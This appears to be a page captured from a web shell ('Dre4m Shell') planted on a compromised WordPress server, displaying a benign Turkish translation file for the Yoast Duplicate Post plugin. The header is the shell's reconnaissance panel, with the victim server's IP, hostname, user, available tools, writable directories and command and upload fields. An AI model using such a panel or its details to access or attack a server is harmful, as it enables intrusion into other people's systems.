Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.118.126.51
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/root/proc/3/cwd/var/www/wordpress/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/root/proc/3/cwd/var/www/wordpress/wp-content/languages/plugins/duplicate-post-tr_TR.po
# Translation of Plugins - Yoast Duplicate Post - Stable (latest release) in Turkish
# This file is distributed under the same license as the Plugins - Yoast Duplicate Post - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2021-11-03 14:58:06+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/3.0.0-alpha.2\n"
"Language: tr\n"
"Project-Id-Version: Plugins - Yoast Duplicate Post - Stable (latest release)\n"

#: src/handlers/check-changes-handler.php:134
msgid "Added"
msgstr "Eklendi"

#: src/handlers/check-changes-handler.php:133
msgid "Removed"
msgstr "Kaldırıldı"

#: src/ui/classic-editor.php:192
msgid "Compare"
msgstr "Karşılaştır"

#: src/handlers/check-changes-handler.php:116
msgid "← Return to editor"
msgstr "← Yazı düzenleyiciye geri dön"

#: src/admin/options.php:142
msgid "Post format"
msgstr "Yazı formatı"

#: src/ui/newsletter.php:58
msgid "Subscribe"
msgstr "Abone olun"

#: src/ui/row-actions.php:87
msgctxt "verb"
msgid "Clone"
msgstr "Çoğalt"

#. Author URI of the plugin
msgid "https://yoast.com"
msgstr "https://yoast.com"

#. translators: %s: post title
#: src/utils.php:144
msgid "View “%s”"
msgstr "“%s” Görüntüle"

#. translators: %s: post title
#: src/utils.php:134
msgid "Preview “%s”"
msgstr "Önizleme: “%s”"

#. translators: %s: post title
#: src/utils.php:122
msgid "Edit “%s”"
msgstr "“%s” Düzenle"

#. translators: %s: Original item link (to view or edit) or title.
#: src/ui/post-states.php:67
msgid "Original: %s"
msgstr "Orijinal: %s"

#: duplicate-post.php:98
msgid "Settings for Duplicate Post"
msgstr "Duplicate Post ayarları"

#: src/admin/views/options.php:227
msgid "Show original item:"
msgstr "Orijinal öğeyi göster:"

#: src/admin/views/options.php:20
msgid "Settings sections"
msgstr "Ayarlar bölümleri"

#: src/ui/column.php:68
msgid "Original item"
msgstr "Orijinal öğe"

#: src/handlers/link-handler.php:58 src/handlers/link-handler.php:114
#: src/handlers/link-handler.php:188
msgid "Current user is not allowed to copy posts."
msgstr "Mevcut kullanıcının yazıları kopyalamasına izin verilmiyor."

#: admin-functions.php:750
msgid "Documentation"
msgstr "Belgelendirme"

#: src/admin/options.php:165
msgid "you probably want this unchecked, unless you have very special requirements"
msgstr "çok özel ihtiyaçlarınız olmadıkça, büyük olasılıkla bunun işaretli olmasını istemezsiniz"

#: src/admin/options.php:128
msgid "Featured Image"
msgstr "Öne çıkan görsel"

#: src/admin/options.php:135
msgid "Template"
msgstr "Şablon"

#: src/admin/options.php:149
msgid "Author"
msgstr "Yazar"

#: src/admin/options.php:186
msgid "Menu order"
msgstr "Menü sırası"

#: src/admin/options.php:307
msgid "Bulk Actions"
msgstr "Toplu İşlemler"

#: src/admin/options.php:217
msgid "You can use * to match zero or more alphanumeric characters or underscores: e.g. field*"
msgstr "Sıfır ya da daha fazla alfanumerik karakter veya alt tire ile eşlenmesi için * kullanabilirsiniz: örn. alan*"

#. translators: %s: Number of posts copied.
#: src/watchers/bulk-actions-watcher.php:55
#: src/watchers/link-actions-watcher.php:73
msgid "%s item copied."
msgid_plural "%s items copied."
msgstr[0] "%s öge kopyalandı."
msgstr[1] "%s öge kopyalandı."

#: src/admin/views/options.php:127
msgid "Show/hide private taxonomies"
msgstr "Özel sınıflandırmaları göster/gizle"

#: src/admin/views/options.php:155
msgid "Passwords and contents of password-protected posts may become visible to undesired users and visitors."
msgstr "Parolalar ve parola korumalı yazılar istenmeyen kullanıcılar ve ziyaretçilere görünür hale gelebilir."

#: src/admin/views/options.php:174 src/admin/views/options.php:211
msgid "Whether the links are displayed for custom post types registered by themes or plugins depends on their use of standard WordPress UI elements."
msgstr "Standard WordPress arayüz elemanlarının kullanımına bağlı olarak tema ya da eklenti özel yazı tiplerinin görünürlüğü değişir."

#: src/admin/options.php:180
msgid "except pingbacks and trackbacks"
msgstr "geri bildirim ve geri izlemeler hariç"

#: src/admin/views/options.php:37 src/admin/views/options.php:140
msgid "Permissions"
msgstr "İzinler"

#: src/admin/options.php:107
msgid "Slug"
msgstr "Kısa isim"

#: src/admin/options.php:208
msgid "Add this number to the original menu order (blank or zero to retain the value)"
msgstr "Orijinal menü sıralamasına bu numarayı ekleyin (değeri korumak için boş bırakın ya da sıfır yazın)"

#: src/admin/options.php:206 src/admin/views/options.php:93
msgid "Increase menu order by"
msgstr "Menü sırasını şu kadar artır"

#: src/admin/options.php:156
msgid "Password"
msgstr "Parola"

#: src/admin/options.php:121 src/handlers/check-changes-handler.php:127
msgid "Content"
msgstr "İçerik"

#: src/admin/options.php:178
msgid "Comments"
msgstr "Yorumlar"

#: src/admin/options.php:163
msgid "Attachments"
msgstr "Ekler"

#: src/admin/options.php:114 src/handlers/check-changes-handler.php:128
msgid "Excerpt"
msgstr "Özet"

#: src/admin/options.php:86 src/handlers/check-changes-handler.php:126
msgid "Title"
msgstr "Başlık"

#: src/admin/options.php:100
msgid "Status"
msgstr "Durum"

#: src/admin/options.php:93
msgid "Date"
msgstr "Tarih"

#: admin-functions.php:603
msgid "Copy features for this post type are not enabled in options page"
msgstr "Bu gönderi tipinin kopya özellikleri, seçenekler sayfasında etkinleştirilmemiş"

#: src/admin/views/options.php:162 src/admin/views/options.php:166
msgid "Enable for these post types"
msgstr "Bu yazı türleri için etkinleştir"

#: src/admin/views/options.php:172
msgid "Select the post types you want the plugin to be enabled for."
msgstr "Eklentinin etkinleştirilmesini istediğiniz yazı tiplerini seçin."

#: src/admin/views/options.php:58 src/admin/views/options.php:61
msgid "Post/page elements to copy"
msgstr "Kopyalama için yazı/sayfa ögeleri"

#: src/admin/views/options.php:46 src/admin/views/options.php:187
msgid "Display"
msgstr "Görüntüle"

#: src/admin/views/options.php:28 src/admin/views/options.php:55
msgid "What to copy"
msgstr "Kopyalanacak öğe"

#: src/admin/options.php:171
msgid "Children"
msgstr "Alt öğeler"

#: src/admin/options.php:201
msgid "Suffix to be added after the title, e.g. \"(dup)\" (blank for no suffix)"
msgstr "Başlıktan sonra eklenecek son ek, örneğin \"(kopya)\" (son ek istemiyorsanız boş bırakın)"

#: src/admin/options.php:194
msgid "Prefix to be added before the title, e.g. \"Copy of\" (blank for no prefix)"
msgstr "Başlıktan önce eklenecek ön ek, örneğin \"Kopyası\" (ön ek istemiyorsanız boş bırakın)"

#: src/admin/options.php:297
msgid "Admin bar"
msgstr "Yönetici çubuğu"

#: src/admin/options.php:216
msgid "Comma-separated list of meta fields that must not be copied."
msgstr "Kopyalanmayacak meta alanların virgülle ayrılmış listesi"

#: src/handlers/link-handler.php:75 src/handlers/link-handler.php:131
#: src/handlers/link-handler.php:205
msgid "Copy creation failed, could not find original:"
msgstr "Kopya oluşturulamadı, orijinali bulunamadı:"

#: common-functions.php:79 src/ui/admin-bar.php:97 src/ui/admin-bar.php:115
#: src/ui/classic-editor.php:135 js/dist/duplicate-post-edit-440.js:1
msgid "Copy to a new draft"
msgstr "Yeni bir taslağa kopyala"

#: src/admin/options.php:213 src/admin/views/options.php:105
msgid "Do not copy these fields"
msgstr "Bu alanları kopyalama"

#: src/admin/options.php:302
msgid "Edit screen"
msgstr "Düzenleme ekranı"

#: src/admin/options.php:292
msgid "Post list"
msgstr "Yazı listesi"

#: src/admin/views/options.php:144 src/admin/views/options.php:147
msgid "Roles allowed to copy"
msgstr "Kopyalamaya yetkili roller"

#: duplicate-post.php:99
msgid "Settings"
msgstr "Ayarlar"

#: src/admin/views/options.php:202
msgid "Show links in"
msgstr "Bağlantıları göster"

#: src/admin/options.php:192 src/admin/views/options.php:71
msgid "Title prefix"
msgstr "Başlık öneki"

#: src/admin/options.php:199 src/admin/views/options.php:82
msgid "Title suffix"
msgstr "Başlık soneki"

#: src/admin/views/options.php:116 src/admin/views/options.php:120
msgid "Do not copy these taxonomies"
msgstr "Bu sınıflandırmaları kopyalama"

#: src/admin/options-page.php:76 src/admin/views/options.php:14
msgid "Duplicate Post Options"
msgstr "Duplicate Post seçenekleri"

#: src/admin/options.php:276 src/ui/bulk-actions.php:69
msgid "Clone"
msgstr "Çoğalt"

#: src/admin/views/options.php:247
msgid "Save changes"
msgstr "Değişiklikleri kayıt et"

#: src/admin/options-page.php:77 src/ui/admin-bar.php:89 src/ui/metabox.php:59
msgid "Duplicate Post"
msgstr "Yazıyı çoğalt"

#: src/handlers/link-handler.php:63 src/handlers/link-handler.php:119
#: src/handlers/link-handler.php:193
msgid "No post to duplicate has been supplied!"
msgstr "Çoğaltılacak yazı iletilmedi!"

#: src/admin/options.php:271 src/ui/row-actions.php:114
msgid "New Draft"
msgstr "Yeni taslak"

Anon7 - 2022
AnonSec Team